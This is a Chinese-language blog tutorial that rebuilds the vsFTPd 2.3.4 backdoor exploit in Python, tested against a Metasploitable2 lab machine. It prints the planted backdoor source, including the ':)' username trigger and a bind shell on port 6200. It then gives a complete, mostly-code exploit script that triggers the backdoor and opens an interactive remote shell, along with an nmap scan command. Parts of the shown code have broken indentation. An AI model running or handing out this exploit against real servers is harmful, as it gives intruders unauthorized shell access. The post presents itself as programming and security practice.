FavoriteLoading
0

在Python中重構vsFTPd后門漏洞

0×01 前言
大家好,首先來個聲明本文目的不在于分析vsFTPd后門漏洞,我最近喜歡用漏洞編寫exploit的形式來練習編程語言,在本文中,我們將重新用Python來一步步的編寫這個漏洞的利用程序,主要是觸發后門然后連接shell。首先我們來了解一下這個漏洞是如何觸發的。
0×02 剖析vsFTPd后門漏洞
這個漏洞比較老了,但是要當成一個例子來練習技術,非常的經典,洞如其名,不知道這個是不是程序員故意留下的,還是被黑客植入的。首先我們下載源碼下來看看。
在str.c源碼中,我們發現多了一行很可疑的代碼:
else if((p_str->p_buf[i]==0x3a) && (p_str->p_buf[i+1]==0x29))
{
  vsf_sysutil_extra();
}
0x3a和0×29是16進制編碼,我們轉換成10進制再轉換成字符就是:和)。從上面的代碼中很容易看出,只要我們輸入的用戶名字符串中有一位字符是:,下一位字符是)就可以執行函數vsf_sysutil_extra()。
在sysdeputil.c的源碼中,我們找到了vsf_sysutil_extra()函數:
int vsf_sysutil_extra(void)
{
  int fd, rfd;
  struct sockaddr_in sa;
  if((fd = socket(AF_INET, SOCK_STREAM, 0)) 0)
  exit(1);
  memset(&sa, 0, sizeof(sa));
  sa.sin_family = AF_INET;
  sa.sin_port = htons(6200);
  sa.sin_addr.s_addr = INADDR_ANY;
  if((bind(fd,(struct sockaddr *)&sa,
  sizeof(struct sockaddr))) 0) exit(1);
  if((listen(fd, 100)) == -1) exit(1);
  for(;;)
  {
    rfd = accept(fd, 0, 0);
    close(0); close(1); close(2);
    dup2(rfd, 0); dup2(rfd, 1); dup2(rfd, 2);
    execl("/bin/sh","sh",(char *)0);
  }
}
可以發現這就是一段shell,綁定的端口是6200.
0×03 重構vsFTPd后門漏洞exploit
在前面我們已經了解到了如何來觸發vsFTPd后門漏洞,現在就正式開始編寫漏洞exploit了。首先我們先引入我們需要的模塊:
import sys
import socket
import threading
import time
sys模塊我們是用來接收命令行參數,socket模塊用來觸發漏洞,threading模塊用來處理shell,time模塊用來延遲shell交互。
現在我們已經引入模塊了,接下來我們就來處理一下命令行參數。
if len(sys.argv) == 3:
    pass
else:
    print "Use: ./vsftpexploit.py [target IP] [target Port]"
    sys.exit(1)
target = sys.argv[1]
port = sys.argv[2]
print "[+]target IP:"+target
print "[+]target Port:"+port
從命令行接收兩個參數,目標IP和目標端口。首先判斷一下使用者是否正確的輸入了參數,成功就打印目標IP和端口號。

現在我們已經接收了需要的參數了,接下來就要來需要去觸發漏洞了,這里我們將觸發函數命名為exploit:
def exploit():
    exploit_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
        exploit_socket.connect((target,int(port)))
    except Exception:
        print "Can not attack target"
        sys.exit(1)
    print "[+]Attack target..."
    banner = exploit_socket.recv(1024)
    print banner
這里我們主要先來獲取一下banner,來確定服務器的FTP服務是不是vsFTPd 2.3.4。

確定服務器的FTP服務是vsFTPd 2.3.4后,我們來觸發漏洞:
if "vsFTPd 2.3.4" in banner:
    exploit_socket.send("USER hello:)\n")
    exploit_socket.recv(1024)
    exploit_socket.send("PASS HELLO\n")
    exploit_socket.close()
    print "[+]Attack was successful"
    return
else:
    print "[!]FTP service is not vsFTPd 2.3.4"
    sys.exit(1)
觸發完漏洞,我們還需要連接到它才能操作。首先我們先創建一個函數處理線程運行。
def cont_shell(sock,status):
sock.settimeout(3)
while status == True:
    try:
        print sock.recv(1024).strip()
    except socket.timeout:
        pass
    except Exception:
        return
最后我們將編寫一個綜合的函數,來調用exploit函數,在觸發漏洞后操作shell。
def hack():
    exploit()
    shell_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    shell_status = True
    try:

        shell_socket.connect((target,6200))

except Exception:
        print "[!]Can not connect Shell"
        sys.exit(1)
    shell_recv_thread = threading.Thread(target=cont_shell, args=(shell_socket, shell_status))
    shell_recv_thread.start()
    print "[+]The connection shell is complete"
    while 1:
        command = raw_input()
        if command == 'exit':
            shell_status = False
            shell_socket.close()
            shell_recv_thread.join()
            sys.exit(0)
        shell_socket.send(command + '\n')
很簡單,首先我們調用了exploit()函數來觸發漏洞,然后我們創建了一個名為shell_socket的套接字來連接shell。shell_status表示狀態,主要是防止沖突。然后就是利用線程來處理與shell的交互了,最后用了一個循環來發送命令并當命令為exit時退出。
0×04 腳本演示
我們的exploit的編寫到此就已經完成了,現在我們實際操作一下,測試一下我們的exploit是否可用。我們首先使用nmap探測一下服務器的FTP服務的版本。
nmap -sV -p21 192.168.242.129
結果:

可以發現在目標服務器上的FTP服務是vsFTPd 2.3.4,我們來使用我們的exploit腳本:
成功利用
0×05 總結
在編寫exploit的過程中,我犯了一個小錯誤,使用了TAB制表符,就不能再使用四個空格來代表制表符對齊,新的Python語法,是不支持在代碼對齊中,混用TAB和空格的。文中的靶機我是直接使用了metasploitable2。大家有興趣的可以自己嘗試重新編寫一下。
 

【聲明】:8090安全小組門戶(http://www.jvwkvg.tw)登載此文出于傳遞更多信息之目的,并不代表本站贊同其觀點和對其真實性負責,僅適于網絡安全技術愛好者學習研究使用,學習中請遵循國家相關法律法規。如有問題請聯系我們,聯系郵箱[email protected],我們會在最短的時間內進行處理。